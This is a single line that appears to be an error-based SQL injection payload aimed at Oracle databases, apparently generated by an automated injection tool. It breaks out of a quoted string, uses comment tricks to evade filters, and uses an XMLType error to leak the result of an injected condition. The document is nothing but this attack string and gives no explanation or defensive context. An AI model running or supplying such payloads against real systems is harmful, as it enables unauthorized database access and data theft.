1′)AND/**/3447=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||’~’||(SELECT/**/(CASE/**/WHEN/**/(3447=3447)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(62)))/**/FROM/**/DUAL) AND ‘1’=’1 1